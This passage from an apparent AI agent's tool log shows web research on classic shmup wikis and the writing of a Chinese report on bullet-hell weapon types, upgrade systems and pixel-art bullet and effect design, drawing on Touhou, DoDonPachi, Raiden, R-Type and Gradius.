环绕 子机"}, "ts": 1787459431671}, {"type": "progress", "id": "call_e3ce5ef5790a44a6b263f9f9", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design"}, "ts": 1787459435238}, {"type": "progress", "id": "call_e3ce5ef5790a44a6b263f9f9", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design"}, "ts": 1787459436934}, {"type": "progress", "id": "call_13b3e5a0496841c097517a5b", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://shmups.wiki/library/Mountain_of_Faith"}, "ts": 1787459436938}, {"type": "progress", "id": "call_13b3e5a0496841c097517a5b", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://shmups.wiki/library/Mountain_of_Faith"}, "ts": 1787459438813}, {"type": "progress", "id": "call_e16891deaf834b7694d6134d", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://jamessoftwareco.fandom.com/wiki/DoDonPachi_DaiOuJou"}, "ts": 1787459443144}, {"type": "progress", "id": "call_e16891deaf834b7694d6134d", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://jamessoftwareco.fandom.com/wiki/DoDonPachi_DaiOuJou"}, "ts": 1787459444853}, {"type": "progress", "id": "call_a1453688199b44029d79f15e", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://thwiki.cc/%E6%B8%B8%E6%88%8F%E6%94%BB%E7%95%A5/STG%E6%9C%AF%E8%AF%AD"}, "ts": 1787459444857}, {"type": "progress", "id": "call_a1453688199b44029d79f15e", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://thwiki.cc/%E6%B8%B8%E6%88%8F%E6%94%BB%E7%95%A5/STG%E6%9C%AF%E8%AF%AD"}, "ts": 1787459447916}, {"type": "progress", "id": "call_090bf02f546040dfb2f812ca", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://shmups.wiki/library/DoDonPachi"}, "ts": 1787459450730}, {"type": "progress", "id": "call_090bf02f546040dfb2f812ca", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://shmups.wiki/library/DoDonPachi"}, "ts": 1787459452732}, {"type": "progress", "id": "call_fd111badf61e4a24829ba69f", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "DoDonPachi 怒首领蜂 武器 激光 散弹 强化 Power 系统 CAVE"}, "ts": 1787459452737}, {"type": "progress", "id": "call_fd111badf61e4a24829ba69f", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "DoDonPachi 怒首领蜂 武器 激光 散弹 强化 Power 系统 CAVE"}, "ts": 1787459457781}, {"type": "progress", "id": "call_26446649de2a4b1e959a659e", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://shmups.wiki/library/DoDonPachi_DaiOuJou"}, "ts": 1787459463962}, {"type": "progress", "id": "call_26446649de2a4b1e959a659e", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://shmups.wiki/library/DoDonPachi_DaiOuJou"}, "ts": 1787459468140}, {"type": "progress", "id": "call_ec93bb6a5c7248948a008976", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "东方妖妖梦 魔理沙 激光 灵梦 诱导 封魔针 自机 武器 视觉 效果"}, "ts": 1787459468145}, {"type": "progress", "id": "call_ec93bb6a5c7248948a008976", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "东方妖妖梦 魔理沙 激光 灵梦 诱导 封魔针 自机 武器 视觉 效果"}, "ts": 1787459474982}, {"type": "progress", "id": "call_cd1c461547064ba6b12005d5", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "弹幕 子弹类型 命名 米弹 针弹 玉弹 蝴蝶弹 自机狙 东方 弹种"}, "ts": 1787459482321}, {"type": "progress", "id": "call_cd1c461547064ba6b12005d5", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "弹幕 子弹类型 命名 米弹 针弹 玉弹 蝴蝶弹 自机狙 东方 弹种"}, "ts": 1787459486914}, {"type": "progress", "id": "call_b93e090bd4874a0b8a0b400c", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "Gradius power meter upgrade system speed missile double laser options 升级系统"}, "ts": 1787459486920}, {"type": "progress", "id": "call_b93e090bd4874a0b8a0b400c", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "Gradius power meter upgrade system speed missile double laser options 升级系统"}, "ts": 1787459492805}, {"type": "progress", "id": "call_4bb90578c66c48b29576e9e0", "tool": "todo_update_task", "status": "running", "args": {"completed": true, "task_indices": [2, 3, 4]}, "ts": 1787459506394}, {"type": "progress", "id": "call_4bb90578c66c48b29576e9e0", "tool": "todo_update_task", "status": "completed", "args": {"completed": true, "task_indices": [2, 3, 4]}, "ts": 1787459506394}, {"type": "progress", "id": "call_bea4fe7c607c42b7934c370d", "tool": "write_file", "status": "running", "args": {"file_path": "research/weapon_system/weapon_research.md", "content": "# 经典弹幕射击游戏(STG)武器系统调研报告\n\n> 调研主题:经典弹幕射击游戏(STG / Bullet Hell)的武器系统设计与像素风格表现\n> 调研日期:2026-08-23\n> 信息来源:网络公开资料(维基百科、Shmups Wiki、THBWiki/东方维基、slynyrd Pixelblog、各游戏官方/玩家社区资料),详见文末「参考资料」\n\n---\n\n## 目录\n\n1. [概述](#1-概述)\n2. [玩家武器类型分类](#2-玩家武器类型分类)\n3. [武器升级系统](#3-武器升级系统)\n4. [像素风格表现](#4-像素风格表现)\n5. [像素 STG 武器视觉设计建议(落地清单)](#5-像素-stg-武器视觉设计建议落地清单)\n6. [参考资料](#6-参考资料)\n\n---\n\n## 1. 概述\n\n弹幕射击游戏(Shoot 'em up / STG,日式弹幕习惯称「弹幕射击」或 Bullet Hell)的核心设计循环是:**在布满敌方子弹的屏幕中移动自机、同时用自机武器持续输出**。因此武器系统承担着三重职责:\n\n1. **输出手段**:决定清杂(popcorn)与打 BOSS 的效率;\n2. **玩法差异化**:不同武器/机体提供不同的操作手感与策略分支;\n3. **视觉语言**:武器是玩家在屏幕上\"属于自己\"的元素,必须与敌弹、背景清晰区分。\n\n本报告以三条经典主线为调研对象:\n\n- **东方Project**(ZUN / 上海爱丽丝幻乐团,PC 弹幕标杆,自机武器+符卡 BOMB 体系)\n- **怒首领蜂系列**(CAVE,街机弹幕始祖,Shot/Laser 双模式 + Hyper 系统)\n- **雷电系列**(Seibu Kaihatsu,经典街机纵版,多武器切换 + 8 级火力)\n- 辅以 **R-Type(蓄力/力球)**、**Gradius(升级条/子机)** 等横版经典作补充\n\n> 说明:调研发现,任务描述中提到的「东方Project 的幽幽子」并非自机散弹武器,而是《东方妖妖梦》的 BOSS(西行寺幽幽子)。她的招牌弹幕是**蝶弹(蝴蝶形状子弹)大面积散开**,属于\"散布型弹幕\"视觉范式,可作为散弹/散布弹幕的视觉参考;东方自机散弹的典型例子是灵梦 C(Youkai Buster)、魔理沙 A(Spread Star)、东风谷早苗等,本报告两部分都会覆盖。\n\n---\n\n## 2. 玩家武器类型分类\n\n### 2.1 散弹(Spread Shot)\n\n**定义**:向前方扇形/多方向发射大量小弹丸,覆盖范围宽、清杂效率高,但单发伤害分散,对单体(BOSS)总伤害通常低于集中火力。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 雷电系列 | **Vulcan(红色道具)** | 初始武器,升级后弹幕从 2 连装→3→4 连装、散布角逐渐加宽(最多 7 方向);视觉上是一排并排的小弹丸扇形散开 |\n| 怒首领蜂 | **Shot(点按 A 键)** | 标准\"spread\"散弹,覆盖面比激光宽;Shot Type 强化后散弹密度/威力翻倍;视觉为密集白色/浅色小弹丸 |\n| 东方 Project | **灵梦 C(Youkai Buster/妖怪破坏者)**、**魔理沙 A(Spread Star/散星)** | 道中清杂强、BOSS 输出低;散布的弹丸+子机(Option)向两侧展开 |\n| 东方(BOSS 视觉范本) | **西行寺幽幽子的蝶弹(死蝶「華胥の永眠」等)** | 以**蝴蝶形状子弹**大面积散开铺满屏幕,是\"散布型弹幕\"最经典的视觉形态之一 |\n\n**设计要点**:散弹的关键是\"扇面角度 + 弹丸数量 + 弹丸间距\"三个可调参数。升级时优先扩展扇面角度或增加弹丸密度,让玩家能直观看到\"火力变强了\"。\n\n---\n\n### 2.2 集中射击(Focus Shot)\n\n**定义**:把所有火力集中在自机正前方一小条区域,单发伤害高(DPS 高),适合贴脸(pointblanking/Shotgunning)打 BOSS,但因覆盖窄需要瞄准走位。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **低速模式(按住 Shift)时的射击**:灵梦「博丽灵符/封魔针」、魔理沙「非指向性激光/高速射击」 | 高速移动时是散弹,按住 Shift 进入低速(目押)模式后,射击自动收拢为**前方集中的高伤害火力**;视觉上弹丸从\"散开\"变为\"一束\" |\n| 怒首领蜂 | **Laser 模式**(见 2.3) | 东方把\"集中\"做成独立模式,怒首领蜂则直接把集中形态做成持续光束 |\n| 风神录 灵梦 B | **Forward Focus Type(Sealing Needle/封印针)** | 正前方集中射击型,BOSS 战伤害高、道中需要编排走位 |\n\n**设计要点**:集中射击通常与\"低速/精确操控\"绑定,视觉上要和散弹形成**一收一放**的对比——弹丸收拢成束、必要时加一条细光束/光线提示\"伤害集中\"。\n\n---\n\n### 2.3 激光 / 光束武器(Laser)\n\n**定义**:持续输出的光束型武器。特点:判定穿透(可打穿一排敌人)、伤害集中、通常伴随机体减速或能量光环(Aura)。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 怒首领蜂 | **Laser(按住 A 键)** | 大型窄光束,最强武器(对 BOSS 首选);Laser Type 可穿透杂鱼、激活更快;激活时机身周围出现 **Aura(灵气光环)**,贴脸时激光+Aura 双重伤害;使用激光时自机减速便于精确躲避 |\n| 雷电系列 | **Laser(蓝色道具)/ Plasma Laser(紫色道具)** | 直线激光,升级增加光束数量与威力;Plasma 激光**可吸附高 HP 敌人并弯曲**(追击相邻目标) |\n| 东方 Project | **魔理沙(Illusion Laser/幻影激光)**、B 型穿透激光 | 穿透型光束;妖妖梦起有\"非指向性激光\"(按住时发射贯穿激光) |\n\n**设计要点**:\n- 光束是**连续**的,区别于散弹的**离散弹丸**——视觉上用粗、直、持续的光柱 + 起点处的光晕做区分;\n- 激光与\"机体周围光环\"绑定是怒首领蜂的标志性设计,光环既是伤害来源也是视觉提示(\"你现在是激光模式\");\n- 注意激光模式下机体的移动速度降低,这是手感上的重要反馈。\n\n---\n\n### 2.4 追踪弹 / 制导武器(Homing)\n\n**定义**:发射后自动追踪敌人的弹药。上手简单、道中省心,代价是单发伤害低、无法集中打同一目标。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **灵梦 A(Homing Amulet/诱导灵符)** | 非集中模式为追踪弹,自动锁定敌人;集中模式切换为前方直射 |\n| 雷电系列 | **Homing Missile(H 道具)** | 子武器系统,追踪导弹自动飞向敌人 |\n| R-Type | **Homing Missile** | 与主炮同时发射的追踪导弹 |\n\n**设计要点**:追踪弹必须**视觉上可读——弹丸带明显的\"转弯/锁定\"行为**(一开始直线、接近目标时转向),并常伴随尾迹(trail)以表现导弹感。像素下建议用 1-2 像素的小弹丸 + 短尾迹 + 发光的\"引导火\"。\n\n---\n\n### 2.5 近战 / 环绕武器(Orbit / Force / Option)\n\n**定义**:不(仅)发射弹丸,而是以\"挂在自机上的物体\"进行接触伤害、挡子弹,或跟随自机复制射击。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| R-Type | **Force Pod(力量球)** | 可以发射出去、也可以收回挂在机头的球体;接触敌人造成伤害、可阻挡子弹 |\n| 怒首领蜂 | **Laser Aura** | 激光激活时机身周围的环状灵气,接触即伤害(贴脸加成) |\n| Gradius | **Option(子机)** | 发光的无敌球体尾随自机,复制自机射击,可堆 2-4 个 |\n| 东方 Project | **子机(Option)**:风神录后 P 道具主要增加子机数量 | 子机在自机两侧/前后跟随发射,火力升级的直观表现 |\n\n**设计要点**:环绕武器是最能体现\"火力等级\"的视觉载体——**子机数量=火力等级**是东方风神录之后的通用做法,玩家一眼可读。像素下子机用发光的小球/小符纸 + 拖尾即可。\n\n---\n\n### 2.6 蓄力射击(Charge Shot)\n\n**定义**:按住射击键充能,松开时释放一发大威力\"蓄力弹\"。蓄力时间越长威力越大,通常带穿透/范围效果。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| R-Type | **Wave Cannon(波动炮)** | 按住 A 蓄力,蓄力等级(charge gauge)越高波动炮越大越强,可穿透弱敌;R-Type Final 3 有最多 2 段蓄力的强化波动炮 |\n| 怒首领蜂(近似) | **Hyper** | 蓄能量槽(Hyper Gauge),满后释放一次爆发性强化(更接近\"强化爆气\"而非单体蓄力弹,见 3.5) |\n\n**设计要点**:\n- 蓄力需要**清晰的充能指示**:R-Type 在机身上方显示蓄力槽/蓄力球,蓄力阶段机身周围能量球从小变大、颜色变亮;\n- 释放瞬间用**大尺寸弹体+全屏震动/闪光**强化\"这一发很重\"的感觉。\n\n---\n\n### 2.7 炸弹 / 清屏技能(Bomb / Spell Card / 灵击)\n\n**定义**:有限的强力保命技:清屏敌弹、短暂无敌、对全场敌人大伤害;部分还能吸道具。数量受限,是玩家\"资源管理\"的核心。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **符卡 BOMB(自机符卡)** | 发动时显示角色立绘+符卡名(私人用视觉/命名系统),清屏敌弹为☆道具、全屏吸道具、短时间无敌;数量有限(通常 3 个起步) |\n| | **灵击(风神录/地灵殿)** | BOMB 变体:不限制次数,改为消耗 Power(见 3.4);风神录灵击为向前推出大型圆环,BOSS战额外全屏判定 |\n| 怒首领蜂 | **Spread Bomb(散弹炸弹)/ Laser Bomb(激光炸弹)** | 炸弹随当前武器状态变化:散弹状态=中规模清屏;激光状态=前方大型激光束(伤害更高);发动时无敌并消弹 |\n| 雷电系列 | **Bomb** | 消屏子弹+BOSS区域伤害;按炸弹键到爆炸有短暂延迟 |\n\n**设计要点**:\n- 炸弹的**视觉语言 = 全屏级特效**:闪光、扩散圆环、敌弹化为道具/星星——让\"屏幕瞬间被清理\"的结果可视化;\n- 东方把炸弹做成\"符卡\"(有名字有立绘)是世界观与玩法结合的最佳范例,值得像素游戏借鉴(起一个帅气的招式名);\n- 炸弹与武器状态联动(怒首领蜂散弹/激光两种炸弹)可以增加决策深度。\n\n---\n\n## 3. 武器升级系统\n\n### 3.1 道具拾取升级(P 道具 / Power-Up)\n\n几乎所有经典 STG 都用\"拾取掉落道具→火力升级\"的模式,区别在道具形态与上限设计:\n\n| 游戏 | 道具 | 升级机制 |\n|---|---|---|\n| 东方 Project | **红色 P 道具** | 小 P +1(红妖永)、+0.05(风神录)、+0.01(星莲船后);大 P +8 / +1.00。满 Power(Full Power Mode)后 P 道具自动转为其他道具(分数/信仰等) |\n| 怒首领蜂 | **P(Power Up)** | 4 个 P 达到满级;死亡后主力武器降 1 级、另一武器归 1 级(二周目则双双降 1 级) |\n| 雷电系列 | **红(Vulcan)/蓝(Laser)/紫(Plasma)/H/M(导弹)** | 同类道具拾取才升级;主武器 8 级满(Vulcan 连装数+散布角递增、Laser 光束数递增);死亡后武器掉落还原 |\n\n**设计要点**:\n- **同类拾取才升级**(雷电)制造\"专注一系武器\"的策略取舍;\n- 掉道具设计(死亡时爆出若干 P 道具)让玩家可以\"捡回\"部分火力,是容错设计;\n- 满级后道具转化(东方)避免火力溢出浪费,是一种奖励机制。\n\n### 3.2 多级别火力变化\n\n- **雷电**:主武器 **8 级**。Vulcan 从 2 连装→3→4 连装、散布角逐步加大;Laser 从单束→多束、光束加粗;是\"逐级可读\"的经典范例。\n- **怒首领蜂**:**4 级(Level 0–4)**。每级激光每秒伤害递增(如 A-Shot 激光 128→136/132→140/136→144 per 2 frames),火力升级数值化。\n- **东方**:Power 分级(红妖永 0–128;风神录 0–5.00;星莲船后 1.00–4.00 下限),变化体现在本体子弹数量(早期)或子机数量/排列(风神录后)。\n\n**设计要点**:每个火力级别都要有**对应的视觉变化**(弹丸数量、散布角、光束宽度、子机数量),让玩家不需要看 HUD 也能感知当前火力等级。\n\n### 3.3 武器切换机制\n\n| 游戏 | 切换方式 | 说明 |\n|---|---|---|\n| 东方 Project | **高速/低速(Shift)** | 同一武器在两种移动速度下显示\"散弹/集中\"两种形态,一按即切换 |\n| 怒首领蜂 | **点按 A = Shot / 按住 A = Laser** | 一个键承载两种武器形态;另在选机界面选择 Shot Type(散弹强化)或 Laser Type(激光强化),是\"模式选择\"的鼻祖 |\n| 雷电 | **红/蓝/紫/绿道具** | 拾取道具即时切换主武器/导弹类型 |\n| Gradius | **Power Meter(升级条)** | 吃一个道具点亮升级条下一格,按确定键购买(Speed/Missile/Double/Laser/Option/护盾……),买完回卷重来——\"选择顺序\"本身就是策略 |\n| 怒首领蜂大往生(DOJ) | **Element Dolls(元素人偶)**:Shotia(强化散弹)/Leinyan(强化激光)/EXY(双强化) | 人偶决定强化方向+炸弹容量上限(3-6 / 2-4 / 1-2),强化与资源形成权衡 |\n\n**设计要点**:\n- 武器切换要么做成\"一键瞬切\"(东方 Shift、怒首领蜂按住),要么做成\"有成本的选择\"(雷电道具、Gradius 升级条);\n- 切武器的代价越小,玩家越倾向频繁换武器应敌(节奏快);代价越大,越需要路线规划(深思熟虑)。\n\n### 3.4 东方 Project 的 Power 系统\n\n- P 道具是唯一火力来源:早期(红/妖/永)为 **0–128** 区间,小 P +1 / 大 P +8;风神录改为 **0.00–5.00**(小 P +0.05 / 大 P +1.00);星莲船后为 **1.00–4.00** 下限。\n- 表现载体变化:永夜抄以前\"本体射出的子弹变多\";风神录以后改为\"增加射出的子机(Option)\"——**火力可视化**。\n- Power 还承担资源职能:风神录/地灵殿的**灵击消耗 1.00 Power**,使用后射击能力减弱,形成\"用资源换保命\"的抉择。\n- 满 Power 后 P 道具转化为分数/信仰道具,防止浪费。\n\n### 3.5 怒首领蜂的强化系统\n\n1. **双模式(Shot/Laser Type)**:初代 DDP 引入。Shot Type 强化散弹(更密、更宽、双倍火力)、激光则细且不可穿透;Laser Type 让激光穿透杂鱼、激活更快、光环保留,但散弹变弱。\n2. **Element Dolls(DOJ)**:见 3.3,强化方向与炸弹容量权衡。\n3. **Hyper 系统(DOJ 起)**:玩家通过连击、收集蜜蜂、贴脸输出积攒 **Hyper Gauge**,满后掉落 Hyper 道具(上限 5 个);激活时:\n - 全场敌弹消除 + 短暂无敌(80/120 帧);\n - 散弹与激光威力暴涨(射出的散弹可消敌弹、激光可挡 BOSS 大激光);\n - 激活期间敌人喷更多子弹、**游戏 RANK 隐藏难度提升**;\n - 计时器以机身周围**白色圆环**呈现,圆环消失=Hyper 结束。\n - 这是\"用强化换难度\"的经典设计——高回报高风险。\n\n**设计要点**:怒首领蜂证明\"武器强化\"可以和\"游戏难度自适应(Rank)\"挂钩,让强力火力本身成为平衡杠杆。\n\n---\n\n## 4. 像素风格表现\n\n### 4.1 子弹的像素美术设计(大小、形状、颜色)\n\n综合 slynyrd(Raymond Schlitter)的 STG 像素美术教程与弹幕社区经验,核心原则是**可见性(readability)第一**:\n\n- **颜色**:子弹应是屏幕上最鲜艳的对象,用高饱和亮色与背景拉开;弹幕游戏普遍选用**红/粉/紫系**作敌弹(不易与背景、自机弹冲突),偶用蓝/黄作功能性区分。\n- **大小**:大子弹更醒目但占屏更大易显得傻;小子弹容易淹没在特效里。混合多种尺寸:大体型通常暗示更高伤害。\n- **形状**:圆、椭圆、针、箭、刀、蝴蝶、米粒、苦无、符纸(东方命名体系:小玉/大玉/针弹/米弹/蝶弹/札弹/箭弹……)等独特形状增强辨识度与趣味。\n- **轮廓线(Outline)**:几乎必须。slynyrd 建议**亮色+暗色双重描边**,或统一用白色描边让子弹在任意背景下可读(敌机/自机用深色描边以区分层级)。\n- **闪烁**:两帧交替(闪白/闪亮)提升存在感与\"危险感\";但对比过强会让高速移动的子弹难追踪——需要在\"醒目\"与\"可追踪\"之间平衡。\n- **旋转/脉动**:星星、方形、椭圆可加旋转;任意形状可加轻微缩放脉动让子弹\"活着\"。\n\n### 4.2 射击特效(muzzle flash、尾迹)\n\n- **枪口闪光(Muzzle Flash)**:自机开火瞬间的短促亮斑,逐帧淡出;体积小但高频出现,应在设计初期预留清晰 sprite。\n- **尾迹(Trail)**:散弹弹药可加短尾迹表现速度感;追踪弹/导弹必须加尾迹(弯曲轨迹+火光)体现\"制导\"性质;激光可加**束起点光晕**与**目标命中火花**。\n- **爆炸(Explosion)**:slynyrd 的爆炸公式——圆形向导扩张成变薄圆环 → 转为有机火团 → 白热渐变为暖色再转灰烟 → 缓慢上升消散;热空气\"快速膨胀、渐凉减速\"的物理节奏是让爆炸可信的关键。\n- **弹道/拖影**:高速敌弹可加残影(ghosting),但残影不能遮挡弹间缝隙。\n\n### 4.3 不同武器类型的视觉区分度\n\n| 武器 | 视觉语言 | 举例 |\n|---|---|---|\n| 散弹 | 大量小弹丸**离散**、扇面、快速连发 | 雷电 Vulcan 并排弹丸;东方灵梦 C 大量小弹 |\n| 集中/激光 | **连续光束**:粗、直、持续 + 起点光晕 + 命中火花;伴随机身光环 | 怒首领蜂激光+灵气光环;魔理沙穿透激光 |\n| 追踪弹 | 弹丸带明显**转弯行为**+弯曲尾迹+发光引导火 | 灵梦 A 诱导灵符;雷电 Homing |\n| 蓄力 | **充能指示器**(机身能量球由小变大/变亮/变色)+ 释放时放大弹体+闪光 | R-Type Wave Cannon 蓄力槽 |\n| 炸弹 | **全屏级特效**:扩散圆环+闪光+敌弹变道具/星星 | 东方符卡 BOMB 立绘+清屏;怒首领蜂两种炸弹 |\n| 环绕武器 | 发光球体/子机挂在自机旁,随火力升级数量递增 | Gradius Option;东方子机 |\n\n### 4.4 屏幕内大量子弹的辨识度设计\n\n- **敌弹颜色编码**:用颜色区分\"快弹/慢弹/装饰弹\"或危险等级(红=会伤害、粉紫=普通、淡色=装饰);东方/怒首领蜂大量使用红粉紫系正是出于与背景不冲突、且高频饱和色在密集时仍可辨。\n- **判定点(Hitbox)分离**:东方从妖妖梦起,低速模式在自机上显示**红色圆点判定点**(子弹只碰到这一点才判定中弹);怒首领蜂所有子弹共享同一 hitbox(通常小于视觉大小)——\"视觉大、判定小\"是弹幕公平性的核心。\n- **自机弹 vs 敌弹颜色对立**:如 castpixel 的做法——**fuchsia(紫红)= 敌弹、yellow(黄)= 自机弹**,极端对立让双方一眼可分。\n- **弹幕\"缝隙设计\"(gap design)**:弹幕不只是子弹设计,更是**缝隙设计**——\"玩家能看见可通行路径即为公平\",装饰性子弹可以用低饱和/半透明表示\"无威胁\"。\n- **擦弹(Graze)反馈**:子弹擦过自机时的音效/闪光反馈(东方擦弹系统)帮助玩家\"读\"弹幕密度。\n- **性能与同屏量**:像素 STG 在低分辨率(如 480×270)下单帧同屏敌弹可达数百,需要单帧 sprite 体量小(8×8 内)+ 2-4 帧动画,并提前规划透明色/轮廓的绘制成本。\n\n---\n\n## 5. 像素 STG 武器视觉设计建议(落地清单)\n\n面向自研像素弹幕 STG,综合以上调研给出可直接落地的建议:\n\n### A. 武器体系骨架\n1. **每种武器 = 一种\"火力形态\"而非多个数值**:散弹(扇形+连发)、激光(穿透光束+光环)、追踪(锁定+尾迹)、集中(高速模式收拢)至少占 2-3 种,用 Shift/按住 键在同一机体上瞬切(东方/怒首领蜂模式)。\n2. **火力等级可视化**:每级变化做成\"子机数量 / 弹丸数 / 散布角 / 光束宽度\"其中之一,让玩家不读 HUD 也能感知等级(东方子机、雷电连装数的思路)。\n3. **掉落同系升级(或 P 通用)**:可选雷电\"同色道具才升级\"(策略取舍)或东方\"P 通用道具\"(上手简单),建议新手向用后者。\n4. **炸弹做成\"有名有相\"的大招**:借鉴东方符卡——发招时全屏特效+短暂演示(立绘/名牌可选),视觉上\"一键清屏\"结果必须一帧可见。\n5. **强化换难度**(可选进阶):怒首领蜂 Hyper/Rank 思路——强火力同时提高敌弹速度或密度,制造\"成长风险\"。\n\n### B. 子弹与特效像素规范\n6. **敌弹用红/粉/紫高饱和系 + 白/亮色轮廓(双描边更稳)**;自机弹用对立色(黄/青),两类永不撞色。\n7. **子弹 8×8 内完形、2 帧闪烁**:交替闪白提升醒目度;高速弹少用高对比闪烁以免难追踪。\n8. **独特形状命名体系**:采用东方式命名(小玉/大玉/针/米/蝶/札/箭/刀/苦无),每个形状配名称,既是美术资产清单也是世界观萌点。\n9. **判定点独立显示**:低速(focus)模式显示红色圆点判定;敌弹统一\"视觉 > 判定\"原则。\n10. **特效规格化**:muzzle flash 2-3 帧、爆炸 8-10 帧(白热→暖色→灰烟)、激光起点光晕+命中火花常驻 2-3 sprite。\n11. **尾迹只给\"需要读懂速度/轨迹\"的弹种**(高速弹、追踪弹),装饰弹少用尾迹以保缝隙可读性。\n\n### C. 屏幕可读性指标\n12. 任意单帧同屏:自机弹与敌弹在色相/明度上至少有一个维度明确对立。\n13. 弹幕可读性验收标准:**截图后 1 秒内能指出至少一条可行缝隙**;做不到就降低装饰弹密度或调低其饱和度。\n14. 低分辨率(320×180 ~ 640×360)下优先保证:敌弹 > 自机 > 背景 的优先级渲染(敌弹永远最上层且最亮)。\n\n---\n\n## 6. 参考资料\n\n以下为本报告主要信息来源(按主题归类):\n\n1. 维基百科中文:符卡(东方 Project 自机 BOMB/符卡系统)、东方 Project(游戏系统/P 道具/BOMB 演化)、东方妖妖梦(低速判定点/武器/樱点系统)、怒首领蜂(Shot/Laser 强化)\n2. Shmups Wiki(shmups.wiki):»DoDonPachi«(Shot/Laser 双模式、Aura、两种炸弹、hitbox、4 级火力)、»DoDonPachi DaiOuJou«(Element Dolls、Hyper 系统、Rank)、»Mountain of Faith«(风神录自机 6 种 shot type、Power/灵击、P 道具数值)、»Raiden II / Raiden DX«(Vulcan/Laser/Plasma、8 级火力、H/M 导弹)\n3. THBWiki / 东方维基(thwiki.cc、zh.touhouwiki.net):STG 术语(判定点/擦弹/自机狙/道中)、弹幕类型词条、东方游戏玩法页\n4. Touhou Community Jargon(maribelhearn.com):东方子弹类型命名列表(玉弹/针弹/蝶弹/米弹/札弹/苦无等)\n5. slynyrd Pixelblog #31 – Shmup Design Part 1(slynyrd.com):像素 STG 子弹可见性设计(颜色/尺寸/形状/轮廓/闪烁/旋转)与爆炸设计公式\n6. BULLET HELL SHMUP DESIGN 101(Reddit r/shmupdev):弹幕颜色选择(红粉紫系)、弹幕设计原则\n7. 弹幕美术赏析(note.com「15 Beautiful Bullet Hell Patterns」):弹幕=缝隙设计、颜色区分弹种/危险等级\n8. R-Type(Shmups Wiki / R-Type Wiki):Wave Cannon 蓄力系统、Force Pod 力球、Bit Device、追踪导弹\n9. Gradius 系列(Gaming History 101 / StrategyWiki):Power Meter 升级条、Speed/Missile/Double/Laser/Option 体系\n10. ClassicReload / GameFAQs Raiden II FAQ:雷电武器道具(红/蓝/紫、H/M)、8 级火力、死亡掉落机制\n\n---\n\n*本报告为公开资料调研整理,涉及具体数值(如怒首领蜂激光伤害、东方 P 道具数值)均以上述来源为准,细节以各游戏实际版本为准。*"}, "ts": 1787459547736}, {"type": "progress", "id": "call_bea4fe7c607c42b7934c370d", "tool": "write_file", "status": "completed", "args": {"file_path": "research/weapon_system/weapon_research.md", "content": "# 经典弹幕射击游戏(STG)武器系统调研报告\n\n> 调研主题:经典弹幕射击游戏(STG / Bullet Hell)的武器系统设计与像素风格表现\n> 调研日期:2026-08-23\n> 信息来源:网络公开资料(维基百科、Shmups Wiki、THBWiki/东方维基、slynyrd Pixelblog、各游戏官方/玩家社区资料),详见文末「参考资料」\n\n---\n\n## 目录\n\n1. [概述](#1-概述)\n2. [玩家武器类型分类](#2-玩家武器类型分类)\n3. [武器升级系统](#3-武器升级系统)\n4. [像素风格表现](#4-像素风格表现)\n5. [像素 STG 武器视觉设计建议(落地清单)](#5-像素-stg-武器视觉设计建议落地清单)\n6. [参考资料](#6-参考资料)\n\n---\n\n## 1. 概述\n\n弹幕射击游戏(Shoot 'em up / STG,日式弹幕习惯称「弹幕射击」或 Bullet Hell)的核心设计循环是:**在布满敌方子弹的屏幕中移动自机、同时用自机武器持续输出**。因此武器系统承担着三重职责:\n\n1. **输出手段**:决定清杂(popcorn)与打 BOSS 的效率;\n2. **玩法差异化**:不同武器/机体提供不同的操作手感与策略分支;\n3. **视觉语言**:武器是玩家在屏幕上\"属于自己\"的元素,必须与敌弹、背景清晰区分。\n\n本报告以三条经典主线为调研对象:\n\n- **东方Project**(ZUN / 上海爱丽丝幻乐团,PC 弹幕标杆,自机武器+符卡 BOMB 体系)\n- **怒首领蜂系列**(CAVE,街机弹幕始祖,Shot/Laser 双模式 + Hyper 系统)\n- **雷电系列**(Seibu Kaihatsu,经典街机纵版,多武器切换 + 8 级火力)\n- 辅以 **R-Type(蓄力/力球)**、**Gradius(升级条/子机)** 等横版经典作补充\n\n> 说明:调研发现,任务描述中提到的「东方Project 的幽幽子」并非自机散弹武器,而是《东方妖妖梦》的 BOSS(西行寺幽幽子)。她的招牌弹幕是**蝶弹(蝴蝶形状子弹)大面积散开**,属于\"散布型弹幕\"视觉范式,可作为散弹/散布弹幕的视觉参考;东方自机散弹的典型例子是灵梦 C(Youkai Buster)、魔理沙 A(Spread Star)、东风谷早苗等,本报告两部分都会覆盖。\n\n---\n\n## 2. 玩家武器类型分类\n\n### 2.1 散弹(Spread Shot)\n\n**定义**:向前方扇形/多方向发射大量小弹丸,覆盖范围宽、清杂效率高,但单发伤害分散,对单体(BOSS)总伤害通常低于集中火力。\n\n| 游戏 | 例子 | 机制与视觉 